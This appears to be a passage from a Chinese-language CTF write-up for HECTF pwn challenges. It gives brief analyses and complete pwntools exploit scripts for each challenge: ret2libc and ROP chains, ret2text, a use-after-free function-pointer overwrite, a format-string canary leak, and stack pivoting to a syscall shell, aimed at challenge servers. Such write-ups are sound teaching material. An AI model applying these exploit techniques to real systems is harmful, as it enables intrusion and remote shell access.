puts_plt=elf.plt.puts
puts_got=elf.got.puts
pop_rdi=0x401240
ret=0x40101a
back=elf.sym.record_purchase

r.sendlineafter(b'choice: ',b'2')
r.sendlineafter(b'password:\n',b'shopadmin123')
r.sendlineafter(b'amount:\n',b'-1')
r.sendlineafter(b'name:\n',b'x')
r.sendlineafter(b'price:\n',b'1')
pl=flat([b'a'*(0x50+8)],pop_rdi,puts_got,puts_plt,back)
r.sendlineafter(b'description:\n',pl)

puts_addr=u64(r.recvuntil(b'\x7f').ljust(8,b'\x00'))
libc.address=puts_addr-libc.sym.puts
success(f'{libc.address:x}')

system=libc.sym.system
binsh=next(libc.search(b'/bin/sh\x00'))

r.sendlineafter(b'name:\n',b'x')
r.sendlineafter(b'price:\n',b'1')
pl=flat([b'a'*(0x50+8)],ret,pop_rdi,binsh,system,back)
r.sendlineafter(b'description:\n',pl)

r.interactive()

easy_pwn

easy~

读入一个字符串 s1,对字符串中每一个字符加 1,将处理后的字符串与 “HECTF” 比较,满足条件则ret2text。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch='amd64'

r=remote('47.100.66.83',31375)

r.recvline()
s=list(b'HECTF')
s=[k-1 for k in s]
r.sendline(bytes(s))
pl=b'a'*(0x30+8)+p64(0x4011DE)
r.send(pl)

r.interactive()

Class_Schedule_Management_System

课表管理系统…

文件有upx壳,先脱壳。

note 结构体为 8 字节:

1
2
3
4
typedef struct note {
void (*printnote)(struct note*); // 4 bytes
char *content; // 4 bytes
} note;

添加HECTF_02):

  1. malloc(8) 分配 note 结构体
  2. note->printnote = HECTF_01(固定)
  3. 读入 size(可控)
  4. note->content = malloc(size)(可控 size)
  5. read(0, content, size)(可控写入 size 字节)

打印HECTF_04):

1
2
if (notelist[idx])
notelist[idx]->printnote(notelist[idx]);

默认 printnote = HECTF_01,其内容是 puts(this->content)

删除HECTF_03):

1
2
3
4
5
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}

删除时没有 notelist[idx] = NULL;,存在UAF漏洞。

把某个已释放 note 结构体的前 4 字节(printnote)覆盖为 HECTF_05 地址,然后 Print 触发调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

r = remote("47.100.66.83", 31524)
elf = ELF("./Class_Schedule_Management_System")

def menu(c):
r.sendafter(b"Your operation:", c)

def add(sz, data):
menu(b"1\n")
r.sendafter(b"Description size :", str(sz).encode() + b"\n")
r.sendafter(b"Class description :", data.ljust(sz, b"A"))

def delete(idx):
menu(b"2\n")
r.sendafter(b"Enter Class Index :", str(idx).encode() + b"\n")

def show(idx):
menu(b"3\n")
r.sendafter(b"Enter Class Index :", str(idx).encode() + b"\n")

hectf_05 = elf.symbols["HECTF_05"]
log.info("HECTF_05 = " + hex(hectf_05))

# 1) 两个 note,content 用大块,避免混进 0x10 bin
add(0x80, b"A"*0x80) # idx0
add(0x80, b"B"*0x80) # idx1

# 2) 释放两个 struct,形成 [struct1][struct0]
delete(0)
delete(1)

# 3) 新建 note2,content=8,吃到 struct0,从而覆盖 note0 的函数指针
payload = p32(hectf_05) + p32(0) # 覆盖 printnote 与 content
add(8, payload) # idx2

# 4) 触发 UAF:打印 idx0,实际执行 HECTF_05 -> cat flag
show(0)

r.interactive()

fmt

Try to write some words

format函数使用了 printf(buf),利用格式化字符串漏洞泄露canary,然后进入到libc函数,根据read溢出,打ret2libc。

没给libc,泄露了puts地址后到 libc database search 查偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.arch='amd64'

r=remote('47.100.66.83',32093)
elf=ELF('./xs')

r.sendafter(b'words:\n',b'%39$p')
canary=eval(r.recv(18))
success(f'{canary:x}')

puts_plt=elf.plt.puts
puts_got=elf.got.puts
pop_rdi=0x4011f3
ret=0x40101a
back=elf.sym.libc

r.recvuntil(b'name?\n')
pl=flat([b'a'*(0x70-8),canary,b'a'*8,pop_rdi,puts_got,puts_plt,back])
r.send(pl)

puts_addr=u64(r.recvuntil(b'\x7f').ljust(8,b'\x00'))
success(f'{puts_addr:x}')

# https://libc.blukat.me/?q=puts%3Abe0%2Cread%3Aa80&l=libc6_2.39-0ubuntu8.6_amd64
libc_base=puts_addr-0x087be0
system=libc_base+0x058750
binsh=libc_base+0x1cb42f

r.recvuntil(b'name?\n')
pl=flat([b'a'*(0x70-8),canary,b'a'*8,ret,pop_rdi,binsh,system,back])
r.send(pl)

r.interactive()

game

开启保护的题目…

如下载文件失败,请更换下载节点。

进入handle_menu函数;

先选择1,进入guess_game函数,seed=time(0)的随机数5次,可以泄露printf地址和全局map地址,以此计算libc地址和程序基址;

再选择2,进入game_loop函数,可写入bss的map内容,然后input_username1有0x10大小的栈溢出漏洞,采用栈迁移,将ret2syscall的链写入map,然后转到bss上getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from ctypes import *
context.arch='amd64'

lib=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

r=remote('8.153.93.57',31808)
elf=ELF('./game')
libc=ELF('./libc.so.6')

# 进1
r.sendlineafter(b'option: ',b'1')
r.sendafter(b'username (max 32 chars): ',b'x')

lib.srand(lib.time(0))
for i in range(5):
r.sendlineafter(b'number (0-9): ',str(lib.rand()%10).encode())
print(r.recvline())

# 泄露
r.recvuntil(b'printf address: ')
printf_addr=eval(r.recvline())
r.recvuntil(b'map address: ')
map_addr=eval(r.recvline())

libc_base=printf_addr-libc.sym.printf
pie_base=map_addr-elf.sym.map
success(f'{libc_base:x}')
success(f'{pie_base:x}')

# 进2
r.sendlineafter(b'option: ',b'2')
r.recvline(b'to win!\n')

pop_rdi=pie_base+0x12a7
pop_rsi=pie_base+0x12b4
pop_rdx=pie_base+0x12b0
pop_rax=pie_base+0x12b2
syscall=pie_base+0x12ac
ret=pie_base+0x101a
leave_ret=pie_base+0x13f4

pl=flat([b'/bin/sh\x00',
pop_rdi,map_addr,
pop_rsi,0,
pop_rdx,0,
pop_rax,59,
syscall])
r.send(pl)

pl=flat([b'a'*0x20,map_addr,leave_ret])
r.sendafter(b'username (max 32 chars): ',pl)

r.interactive()